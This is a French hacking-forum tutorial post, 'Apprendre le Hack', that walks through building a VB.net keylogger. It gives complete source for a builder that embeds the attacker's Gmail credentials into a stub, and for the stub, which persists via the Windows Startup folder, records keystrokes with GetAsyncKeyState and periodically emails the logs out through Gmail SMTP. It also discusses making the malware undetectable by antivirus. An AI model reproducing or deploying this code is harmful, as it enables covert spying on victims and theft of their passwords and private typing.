Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: [tuto]Créer un keylogger VB.net ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 11:27 (2011)    Sujet du message: [tuto]Créer un keylogger VB.net Répondre en citant

Alors pour la partis design et programme.
Il vous faut Trois labels :

Un pour : Gmail adresse
Un pour : Gmail Password
Un pour : demandez a quel réglages vous voulez lors de l'envois des info.

Trois Texbox

Deux Bouton :
Un pour : Tester Gmail adresse
Un pour : crée le serveur



Et une progressBar



Ensuite Double cliquez sur la Form1 et mettez en haut du code





  1. Imports System.Net.Mail  
  2. Imports System.IO  




et dans la partie Public Class Form1 mettez ce code:





  1. Dim stub, text1, text2 As String  
  2. Const FileSplit = "@newbie223@"  





Double cliquez sur Bouton1 et mettez ce code:


Code Button1



  1. text1 = TextBox1.Text  
  2. text2 = TextBox2.Text  
  3. ProgressBar1.Value = 10  
  4. FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)  
  5. stub = Space(LOF(1))  
  6. ProgressBar1.Value = 40  
  7. FileGet(1, stub)  
  8. FileClose(1)  
  9. ProgressBar1.Value = 80  
  10. ProgressBar1.Value = 100  
  11. MsgBox("Server créer avec succès")  
  12. If File.Exists("server.exe") Then  
  13. My.Computer.FileSystem.DeleteFile("server.exe")  
  14. End If  
  15. FileOpen(1, Application.StartupPath & ("\server.exe"), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)  
  16. FilePut(1, stub & FileSplit & text1 & FileSplit & text2)  
  17. FileClose(1)  







Double cliquez sur Button2 (test gmail) et mettez


Code Button2



  1. Dim smtpServer As New SmtpClient()  
  2.         Dim mail As New MailMessage  
  3.         ProgressBar1.Value = 10  
  4.         smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)  
  5.         'using gmail  
  6.         ProgressBar1.Value = 20  
  7.         smtpServer.Port = 587  
  8.         smtpServer.Host = "smtp.gmail.com"  
  9.         ProgressBar1.Value = 35  
  10.         smtpServer.EnableSsl = True  
  11.         mail = New MailMessage  
  12.         ProgressBar1.Value = 50  
  13.         mail.From = New MailAddress(TextBox1.Text)  
  14.         mail.To.Add(TextBox1.Text)  
  15.         ProgressBar1.Value = 70  
  16.         mail.Subject = (TextBox1.Text)  
  17.         mail.Body = ("Test Gmail est un Success.Creer votre keylogger maintenant!")  
  18.         ProgressBar1.Value = 90  
  19.         smtpServer.Send(mail)  
  20.         ProgressBar1.Value = 100  
  21.         MsgBox("Le message a ete envoye. Check your Gmail")  








Code complet Form1



  1. Imports System.Net.Mail  
  2. Imports System.IO  
  3. Public Class Form1  
  4.     Dim stub, text1, text2 As String  
  5.     Const FileSplit = "@newbie223@"  
  6.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click  
  7.         text1 = TextBox1.Text  
  8.         text2 = TextBox2.Text  
  9.         ProgressBar1.Value = 10  
  10.         FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)  
  11.         stub = Space(LOF(1))  
  12.         ProgressBar1.Value = 40  
  13.         FileGet(1, stub)  
  14.         FileClose(1)  
  15.         ProgressBar1.Value = 80  
  16.         ProgressBar1.Value = 100  
  17.         MsgBox("Server created Very Happy")  
  18.         If File.Exists("server.exe") Then  
  19.             My.Computer.FileSystem.DeleteFile("server.exe")  
  20.         End If  
  21.         FileOpen(1, Application.StartupPath & ("\server.exe"), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)  
  22.         FilePut(1, stub & FileSplit & text1 & FileSplit & text2)  
  23.         FileClose(1)  
  24.     End Sub  
  25.   
  26.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click  
  27.         Dim smtpServer As New SmtpClient()  
  28.         Dim mail As New MailMessage  
  29.         ProgressBar1.Value = 10  
  30.         smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)  
  31.         'using gmail  
  32.         ProgressBar1.Value = 20  
  33.         smtpServer.Port = 587  
  34.         smtpServer.Host = "smtp.gmail.com"  
  35.         ProgressBar1.Value = 35  
  36.         smtpServer.EnableSsl = True  
  37.         mail = New MailMessage  
  38.         ProgressBar1.Value = 50  
  39.         mail.From = New MailAddress(TextBox1.Text)  
  40.         mail.To.Add(TextBox1.Text)  
  41.         ProgressBar1.Value = 70  
  42.         mail.Subject = (TextBox1.Text)  
  43.         mail.Body = ("Testing Gmail was Successful.Build your keylogger now!")  
  44.         ProgressBar1.Value = 90  
  45.         smtpServer.Send(mail)  
  46.         ProgressBar1.Value = 100  
  47.         MsgBox("Message has been sent. Check your Gmail")  
  48.   
  49.     End Sub  
  50.   
  51.     Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  52.   
  53.     End Sub  
  54. End Class  







Partie STUB

Ouvrez un nouveau projet Windows form, et ajoutez-y:

Trois textbox
Trois Timer

Mettez la TextBox1 en multiligne et dans propriété mettez "Enable" sur False et ScrollBar en Vertical






Code Stub



  1. Imports System.IO  
  2. Imports System.Net.Mail  
  3. Public Class Form1  
  4.     Dim result As Integer  
  5.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer  
  6.     Dim options(), text1, text2 As String  
  7.     Const FileSplit = "@newbie223@"  
  8.     Dim Lserver As String = IO.Path.GetFileName(Application.ExecutablePath)  
  9.     Dim vDirectory As String  
  10.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load  
  11.         FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)  
  12.         text1 = Space(LOF(1))  
  13.         text2 = Space(LOF(1))  
  14.         FileGet(1, text1)  
  15.         FileGet(1, text2)  
  16.         FileClose(1)  
  17.         options = Split(text1, FileSplit)  
  18.         TextBox2.Text = options(1)  
  19.         TextBox3.Text = options(2)  
  20.         Try  
  21.             vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"  
  22.             Dim zDir As New DirectoryInfo(vDirectory)  
  23.             If Not zDir.Exists Then  
  24.                 My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & Lserver, True)  
  25.             Else  
  26.                 My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & Lserver, True)  
  27.             End If  
  28.         Catch ex As Exception  
  29.         End Try  
  30.         Timer1.Start()  
  31.         Timer2.Start()  
  32.         Timer3.Start()  
  33.     End Sub  
  34.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick  
  35.         For i = 1 To 255  
  36.             result = 0  
  37.             result = GetAsyncKeyState(i)  
  38.             If result = -32767 Then  
  39.                 TextBox1TextBox1.Text = TextBox1.Text + Chr(i)  
  40.             End If  
  41.         Next i  
  42.     End Sub  
  43.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick  
  44.         Dim MyMailMessage As New MailMessage  
  45.         MyMailMessage.From = New MailAddress(TextBox2.Text)  
  46.         MyMailMessage.To.Add(TextBox2.Text)  
  47.         MyMailMessage.Subject = ("Logs")  
  48.         MyMailMessage.Body = (TextBox1.Text)  
  49.         Dim SMTPServer As New SmtpClient("smtp.gmail.com")  
  50.         SMTPServer.Port = 587  
  51.         SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)  
  52.         SMTPServer.EnableSsl = True  
  53.         SMTPServer.Send(MyMailMessage)  
  54.     End Sub  
  55.     Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick  
  56.         TextBox1.Clear()  
  57.     End Sub  
  58. End Class  







Exclamation Malheureusement le keylogger n'est pas FUD et je n'arrive pas à modifier le code pour le rendre FUD je dois jouer avec les FileSplit et les String





source: http://www.hackforums.net/showthread.php?tid=179247


Pour débogguer la partie stub doit être déjà présente pour que la première partie se lance sans erreur, et elle doit être créée dans un nouveau projet.

Malheureusement impossible de lancer le débugger sur le stub tant qui est pas FUD. Pour le testé il faudra donc désactivé son antivirus!


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 11:27 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com